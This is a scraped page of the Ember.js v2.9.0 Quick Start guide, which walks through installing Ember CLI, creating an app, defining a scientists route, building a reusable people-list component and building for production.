</div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187035" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/ember-inspector" id="ember187036" class="cp-Panel-toggle ember-view"> Ember Inspector </a> <div id="ember187037" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187039" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/addons-and-dependencies" id="ember187040" class="cp-Panel-toggle ember-view"> Addons and Dependencies </a> <div id="ember187041" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187043" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/configuring-ember" id="ember187044" class="cp-Panel-toggle ember-view"> Configuring Ember.js </a> <div id="ember187045" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187047" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/contributing" id="ember187048" class="cp-Panel-toggle ember-view"> Contributing to Ember.js </a> <div id="ember187049" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember187051" class="cp-Panel cp-is-closed ember-view"><a href="/v2.9.0/glossary" id="ember187052" class="cp-Panel-toggle ember-view"> Glossary </a> <div id="ember187053" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> </ol> </nav> </aside> <article id="ember187054" class="chapter ember-view"> <div class="old-version-warning"> <i class="icon-attention-circled"></i><strong>Old Guides - </strong>You are viewing the guides for Ember v2.9.0. <a href="/release/getting-started/quick-start" id="ember187055" class="btn ember-view"> VIEW v3.15.0 </a> </div> <a href="https://github.com/ember-learn/guides-source/edit/master/guides/v2.9.0/getting-started/quick-start.md" target="_blank" class="edit-page icon-pencil" rel="noopener"> Edit Page </a> <h1> Quick Start </h1> <hr> <div id="ember187056" class="ember-view"><p>This guide will teach you how to build a simple app using Ember from scratch.</p> <p>We'll cover these steps:</p> <ol> <li>Installing Ember.</li> <li>Creating a new application.</li> <li>Defining a route.</li> <li>Writing a UI component.</li> <li>Building your app to be deployed to production.</li> </ol> <h2 id="toc_install-ember">Install Ember</h2> <section aria-labelledby="toc_install-ember"> <p>You can install Ember with a single command using npm, the Node.js package manager. Type this into your terminal:</p> <pre><code class="bash language-bash">npm install -g ember-cli </code></pre> <p>Don't have npm? <a href="https://docs.npmjs.com/getting-started/installing-node">Learn how to install Node.js and npm here</a>. For a full list of dependencies necessary for an Ember CLI project, consult our <a href="../../getting-started/">Installing Ember</a> guide.</p> </section> <h2 id="toc_create-a-new-application">Create a New Application</h2> <section aria-labelledby="toc_create-a-new-application"> <p>Once you've installed Ember CLI via npm, you will have access to a new <code>ember</code> command in your terminal. You can use the <code>ember new</code> command to create a new application.</p> <pre><code class="bash language-bash">ember new ember-quickstart </code></pre> <p>This one command will create a new directory called <code>ember-quickstart</code> and set up a new Ember application inside of it. Out of the box, your application will include:</p> <ul> <li>A development server.</li> <li>Template compilation.</li> <li>JavaScript and CSS minification.</li> <li>ES2015 features via Babel.</li> </ul> <p>By providing everything you need to build production-ready web applications in an integrated package, Ember makes starting new projects a breeze.</p> <p>Let's make sure everything is working properly. <code>cd</code> into the application directory <code>ember-quickstart</code> and start the development server by typing:</p> <pre><code class="bash language-bash">cd ember-quickstart ember server </code></pre> <p>After a few seconds, you should see output that looks like this:</p> <pre><code class="text language-text">Livereload server on http://localhost:49152 Serving on http://localhost:4200/ </code></pre> <p>(To stop the server at any time, type Ctrl-C in your terminal.)</p> <p>Open <a href="http://localhost:4200"><code>http://localhost:4200</code></a> in your browser of choice. You should see an Ember welcome page and not much else. Congratulations! You just created and booted your first Ember app.</p> <p>Let's create a new template using the <code>ember generate</code> command.</p> <pre><code class="bash language-bash">ember generate template application </code></pre> <p>The <code>application</code> template is always on screen while the user has your application loaded. In your editor, open <code>app/templates/application.hbs</code> and add the following:</p> <pre><code class="handlebars language-handlebars"data-filename=app/templates/application.hbs>&lt;h1&gt;PeopleTracker&lt;/h1&gt; {{outlet}} </code></pre> <p>Notice that Ember detects the new file and automatically reloads the page for you in the background. You should see that the welcome page has been replaced by "PeopleTracker". You also added an <code>{{outlet}}</code> to this page, which means that any nested route will be rendered in that place.</p> </section> <h2 id="toc_define-a-route">Define a Route</h2> <section aria-labelledby="toc_define-a-route"> <p>Let's build an application that shows a list of scientists. To do that, the first step is to create a route. For now, you can think of routes as being the different pages that make up your application.</p> <p>Ember comes with <em>generators</em> that automate the boilerplate code for common tasks. To generate a route, type this in your terminal:</p> <pre><code class="bash language-bash">ember generate route scientists </code></pre> <p>You'll see output like this:</p> <pre><code class="text language-text">installing route create app/routes/scientists.js create app/templates/scientists.hbs updating router add route scientists installing route-test create tests/unit/routes/scientists-test.js </code></pre> <p>That's Ember telling you that it has created:</p> <ol> <li>A template to be displayed when the user visits <code>/scientists</code>.</li> <li>A <code>Route</code> object that fetches the model used by that template.</li> <li>An entry in the application's router (located in <code>app/router.js</code>).</li> <li>A unit test for this route.</li> </ol> <p>Open the newly-created template in <code>app/templates/scientists.hbs</code> and add the following HTML:</p> <pre><code class="handlebars language-handlebars"data-filename=app/templates/scientists.hbs>&lt;h2&gt;List of Scientists&lt;/h2&gt; </code></pre> <p>In your browser, open <a href="http://localhost:4200/scientists"><code>http://localhost:4200/scientists</code></a>. You should see the <code>&lt;h2&gt;</code> you put in the <code>scientists.hbs</code> template, right below the <code>&lt;h1&gt;</code> from our <code>application.hbs</code> template.</p> <p>Now that we've got the <code>scientists</code> template rendering, let's give it some data to render. We do that by specifying a <em>model</em> for that route, and we can specify a model by editing <code>app/routes/scientists.js</code>.</p> <p>We'll take the code created for us by the generator and add a <code>model()</code> method to the <code>Route</code>:</p> <pre><code class="javascript language-javascript"data-filename=app/routes/scientists.js data-diff="+4,+5,+6">import Ember from 'ember'; export default Ember.Route.extend({ model() { return ['Marie Curie', 'Mae Jemison', 'Albert Hofmann']; } }); </code></pre> <p>(This code example uses the latest features in JavaScript, some of which you may not be familiar with. Learn more with this <a href="https://ponyfoo.com/articles/es6">overview of the newest JavaScript features</a>.)</p> <p>In a route's <code>model()</code> method, you return whatever data you want to make available to the template. If you need to fetch data asynchronously, the <code>model()</code> method supports any library that uses <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">JavaScript Promises</a>.</p> <p>Now let's tell Ember how to turn that array of strings into HTML. Open the <code>scientists</code> template and add some Handlebars code to loop through the array and print it:</p> <pre><code class="handlebars language-handlebars"data-filename=app/templates/scientists.hbs data-diff="+3,+4,+5,+6,+7">&lt;h2&gt;List of Scientists&lt;/h2&gt; &lt;ul&gt; {{#each model as |scientist|}} &lt;li&gt;{{scientist}}&lt;/li&gt; {{/each}} &lt;/ul&gt; </code></pre> <p>Here, we use the <code>each</code> helper to loop over each item in the array we provided from the <code>model()</code> hook and print it inside an <code>&lt;li&gt;</code> element.</p> </section> <h2 id="toc_create-a-ui-component">Create a UI Component</h2> <section aria-labelledby="toc_create-a-ui-component"> <p>As your application grows and you notice you are sharing UI elements between multiple pages (or using them multiple times on the same page), Ember makes it easy to refactor your templates into reusable components.</p> <p>Let's create a <code>people-list</code> component that we can use in multiple places to show a list of people.</p> <p>As usual, there's a generator that makes this easy for us. Make a new component by typing:</p> <pre><code class="bash language-bash">ember generate component people-list </code></pre> <p>Copy and paste the <code>scientists</code> template into the <code>people-list</code> component's template and edit it to look as follows:</p> <pre><code class="handlebars language-handlebars"data-filename=app/templates/components/people-list.hbs>&lt;h2&gt;{{title}}&lt;/h2&gt; &lt;ul&gt; {{#each people as |person|}} &lt;li&gt;{{person}}&lt;/li&gt; {{/each}} &lt;/ul&gt; </code></pre> <p>Note that we've changed the title from a hard-coded string ("List of Scientists") to a dynamic property (<code>{{title}}</code>). We've also renamed <code>scientist</code> to the more-generic <code>person</code>, decreasing the coupling of our component to where it's used.</p> <p>Save this template and switch back to the <code>scientists</code> template. Replace all our old code with our new componentized version. Components look like HTML tags but instead of using angle brackets (<code>&lt;tag&gt;</code>) they use double curly braces (<code>{{component}}</code>). We're going to tell our component:</p> <ol> <li>What title to use, via the <code>title</code> attribute.</li> <li>What array of people to use, via the <code>people</code> attribute. We'll provide this route's <code>model</code> as the list of people.</li> </ol> <pre><code class="handlebars language-handlebars"data-filename=app/templates/scientists.hbs data-diff="-1,-2,-3,-4,-5,-6,-7,+8">&lt;h2&gt;List of Scientists&lt;/h2&gt; &lt;ul&gt; {{#each model as |scientist|}} &lt;li&gt;{{scientist}}&lt;/li&gt; {{/each}} &lt;/ul&gt; {{people-list title="List of Scientists" people=model}} </code></pre> <p>Go back to your browser and you should see that the UI looks identical. The only difference is that now we've componentized our list into a version that's more reusable and more maintainable.</p> <p>You can see this in action if you create a new route that shows a different list of people. As an exercise for the reader, you may try to create a <code>programmers</code> route that shows a list of famous programmers. By re-using the <code>people-list</code> component, you can do it in almost no code at all.</p> </section> <h2 id="toc_building-for-production">Building For Production</h2> <section aria-labelledby="toc_building-for-production"> <p>Now that we've written our application and verified that it works in development, it's time to get it ready to deploy to our users. To do so, run the following command:</p> <pre><code class="bash language-bash">ember build --env production </code></pre> <p>The <code>build</code> command packages up all of the assets that make up your application&mdash;JavaScript, templates, CSS, web fonts, images, and more.</p> <p>In this case, we told Ember to build for the production environment via the <code>--env</code> flag. This creates an optimized bundle that's ready to upload to your web host. Once the build finishes, you'll find all of the concatenated and minified assets in your application's <code>dist/</code> directory.</p> <p>The Ember community values collaboration and building common tools that everyone relies on. If you're interested in deploying your app to production in a fast and reliable way, check out the <a href="http://ember-cli-deploy.com/">Ember CLI Deploy</a> addon.</p> <p>If you deploy your application to an Apache web server, first create a new virtual host for the application. To make sure all routes are handled by index.html, add the following directive to the application's virtual host configuration</p> <pre><code>FallbackResource index.html </code></pre> <!-- eof - needed for pages that end in a code block --> </section> </div> <footer id="ember187057" class="ember-view"> <a href="/v2.9.0/index/" id="ember187058" class="previous-guide ember-view">Guides and Tutorials</a> <a href="/v2.9.0/getting-started/index" id="ember187059" class="next-guide ember-view"> Installing Ember </a></footer> </article> </main> <footer id="ember187060" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember187061" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember187062" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember187063" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g 